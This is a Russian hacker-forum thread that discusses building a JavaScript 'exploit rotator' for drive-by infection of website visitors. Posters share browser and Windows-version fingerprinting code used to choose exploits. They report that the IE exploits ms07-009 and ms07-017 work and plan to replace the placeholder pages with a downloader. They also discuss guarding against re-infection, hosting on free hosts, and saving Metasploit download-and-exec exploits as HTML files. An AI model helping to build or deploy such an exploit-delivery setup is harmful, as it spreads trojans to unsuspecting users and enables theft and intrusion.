Статьи Делаем простой ротатор эксплоитов (или Metasploit Framework часть 6)

Discussion in 'Статьи' started by -=lebed=-, 2 Apr 2007.

  1. Hellsp@wn

    Hellsp@wn Elder - Старейшина

    Joined:
    29 Apr 2007
    Messages:
    401
    Likes Received:
    153
    Reputations:
    48
    но ведь в той же опере или мозилле можно выбрать опцию -> идентифицировать \
    как ... в этом случае браузер будет определён правильно?
     
  2. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Х.е.з. Может и не правильно, в самих сплоитах ещё есть функции определения браузера и версии системы, например вот:
    Code:
    function GetSystemVersion()
    {
     //Simple Detecting of OS version out of Jscript version:
    		
    		var  ver = "";
    		ver += ScriptEngineMajorVersion();
    		ver += ScriptEngineMinorVersion();
    		ver += ScriptEngineBuildVersion();
    		
    		if 	( ver<568820 ){ return("preSP2"); }
    		else if ( ver<575730 ){ return("SP2"); }
    		else return (0);
    }
    
     
    1 person likes this.
  3. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Вот нормальный скрипт для определения типа браузера на JavaScript

    Code:
    <script language="javascript">
    
    var BrUserAgent = navigator.userAgent.toLowerCase();
    var BrUserVersion = parseInt(navigator.appVersion);
    
    if(BrUserAgent.indexOf('opera')!=-1){
        document.write('Opera');
    }
    else if(BrUserAgent.indexOf('msie')!=-1){
        document.write('IE');
    }
    else if(BrUserAgent.indexOf('mozilla')!=-1){
        document.write('mozilla');
    }
    else{
        document.write('unknown');
    }
    
    </script>
    to -=lebed=-
    Твой скрипт определения браузера протестил, действительно можно обойти проверку изменив идентификацию в опциях. Скрипт выше определяет правильно, если изменять идентификацию в опциях оперы или мозилы.
    Но если будет изменяться UserAgent в HTTP заголовке, например с помощью проксей или спец. прог, то и этот скрипт не поможет!
    Со 100% вероятностью можно определить только оперу по специфичному свойству window.opera.
    Кстати как там на счет продолжения ротатора? Готов помочь генерить сплойты;) Да и продолжение статьи вообще будет? Хотелось бы почитать про обфускацию HTML, что нидь новенькое.
     
    #23 [53x]Shadow, 14 May 2007
    Last edited: 15 May 2007
    1 person likes this.
  4. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Подправил немного под себя:
    Code:
    <!-- Функция определения броузера (перенная name_brouser - Название, code_brouser - Присвоенный код, ver_brouser - версия браузера, в зависимости от параметра [p] выдаёт код броузера (code_brouser), имя броузера (name_brouser),  или версию браузера (ver_brouser) -->
    function test_brouser(p) {
    var BrUserAgent = navigator.userAgent.toLowerCase();
    var name_brouser = navigator.appName
    var ver_brouser = navigator.appVersion;
    var code_brouser = 0
    
    if(BrUserAgent.indexOf('opera')!=-1){
        code_brouser=1;
    }
    else if(BrUserAgent.indexOf('msie')!=-1){
        code_brouser=0;
    }
    else if(BrUserAgent.indexOf('mozilla')!=-1){
        code_brouser=2;
    }
    else {
        code_brouser=3;
    }
    
      if (p===0) 
        {return code_brouser;}
        else if (p===1)
        {return name_brouser;}
        else
        {return ver_brouser;}
    
    }
    
    Я думаю не стоить пока парсить navigator.appName - так больше инфы возвращает функция. (пропарсить мона потом при вызове). ;)
     
    1 person likes this.
  5. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    кароче вот Вам заготовка: скачать (вместо сплоитов - пустые страницы, пока... ну и задержка там маленькая стоит)

    Прошу затестить и отписаться у кого какой код ситуации. Попросту при запуске index.htm или обновлённого index(обход подмены идентификации броузера).htm страница с каким номером не находится. В ротаторе заложены только три кода ситуации для IE 6 (3), Оперы 9 (19), FireFox (35).

    Респект [53x]Shadow за функцию.
     
    #25 -=lebed=-, 17 May 2007
    Last edited: 17 May 2007
    1 person likes this.
  6. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Короче вроде все путем протестил на IE и FireFox! Оперы под рукой нет, если что вечером прогоню. А так все прикольно работает, тока не понятно пока зачем cpu, если переменная всегда равна 0 и в 11.html надо номер эксплойта исправить с 1 на 11, но енто мелочь, правда не приятная, долго вникал в цикл думал ошибка;)
     
  7. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Затестил сегодня: Microsoft Internet Explorer ADODB.Recordset Double Free Memory Exploit (ms07-009) и Ms Windows (.ani) Gdi Remote Elevation Of Privilege Exploit (ms07-017) - оба сплоита пашут под IE 6, осталось сменить начинку на загрузчик... ;)
     
  8. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    1. Начинал писать с размахом сначала (но потом на MAC решил забить, ведь другая архитектура - другие шеллкоды, в принципе щас не актуально, можно исключить.
    2. А ну да, страницы не хватало, просто скопировал с 1.html, а в теле поменять забыл...

    P.S. А вообще для ротации 3-5 последних сплоитов заглаза хватит! Если уж последние не пробьют, то смысла подсовывать какие-более ранние не вижу..

    Потом в планах функция определения пробил сплоит браузер или нет и в случае пробива завершение ротации...
     
    #28 -=lebed=-, 17 May 2007
    Last edited: 17 May 2007
  9. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Кстати я тут подумал, было бы не плохо реализовать функцию защиты от повторного заражения. То есть если пользователь уже был на странице, переслать его на обычную страницу. Это можно легко реализовать на php сохраняя и фильтруя ip-адреса, прокси не рассматриваем. Но так как весь ротатор реализован на javascript, есть по крайней мере один (запарился гуглить) вариант, с использованием SSI:

    Code:
    <script language="JavaScript">
    var ip = [COLOR=Green]'<!--#echo var="REMOTE_ADDR"-->'[/COLOR];
    alert("Your IP address is "+ip);
    </script>
    Других оптимальных вариантов просто не нашел.
     
  10. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,771
    Likes Received:
    1,221
    Reputations:
    704
    Вообще, по - нормальному, функцию бана по ип, обязательную кстати в коммерческих связках, следует реализовывать на пхп. А те адреса, что в бане стоит хрнанить в базе mysql. ИМХО неплохо получаеться=)
     
  11. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,771
    Likes Received:
    1,221
    Reputations:
    704
    Почему ты зациклился ТОЛЬКО на ява скрипте, ведь это создаст дополнительную нагрузку на клиента! Пиши Ротатор на пхп + mysql, можно и перла добавить, а сплоиты уже на ява скрипте!
     
  12. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Выше ответы на вопросы (в самом начале статьи).
    1. Я плохо пока знаю php.
    2. Ставилась задача написать ПРОСТОЙ ротатор и чтоб можно было разместить на любом бесплатном хостинге, где нет поддержки php и perl.
    3. Функцию бана по IP ? А если люди за NAT и у них один внешний IP то всю подсеть банить? Имхо лишнее, функцию защиты от повторного заражения лучше возложить на начинку (загрузчик) или самого троя...
     
    #32 -=lebed=-, 17 May 2007
    Last edited: 17 May 2007
  13. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,771
    Likes Received:
    1,221
    Reputations:
    704
    Ты заблуждаешься по пунктам 2 и 3 соответственно. Не веришь мне, спроси людей авторитетных. Но поверь, тут лучше не проще делать, а по уму. Я кстати тож пхп не кодю. Но в скрипте разберусь.
     
  14. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Ну как я на ucoz к примеру размещу скрипты php они ведь выполнятся там не будут.
     
  15. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,771
    Likes Received:
    1,221
    Reputations:
    704
    А нафиг тебе бесплатные хосты???!!
     
  16. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Зря ты так, на самом деле на пхп бан писать 5 сек, но если на javascript это действительно универсальней получается, мона на любом хосте разместить, без запарки!
     
    1 person likes this.
  17. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,771
    Likes Received:
    1,221
    Reputations:
    704
    НО эффективность то кода будет стремиться к 0 при большом колве строк!
     
  18. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Пока не вижу большого количества строк, чтобы говорить об эффективности -> 0!
     
  19. fediko

    fediko New Member

    Joined:
    3 Feb 2006
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    У меня только 1 вопросец. Впринципе конечно ниче самопал ))) Но вот вопрос как в metasploite делать сплоиты с начинкой download&exec чтоб они не на web висели а именно в виде файла и чтоб уже пихать их вместо файлов...
     
  20. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Ломаешь сам себя, заходишь на сервер метасплоита неуязвимым браузером (Опера 9.20 или Mozila Firefox) сохраняешь страницу - сплоит в виде файла html готов. (не со всеми прокатывает конечно, но со многими) в некоторых требуются дополнительные файлы-картинки (tiff, jpg, bmp,gif и др. - например WMF-сплоит)
     
    #40 -=lebed=-, 9 Jul 2007
    Last edited: 9 Jul 2007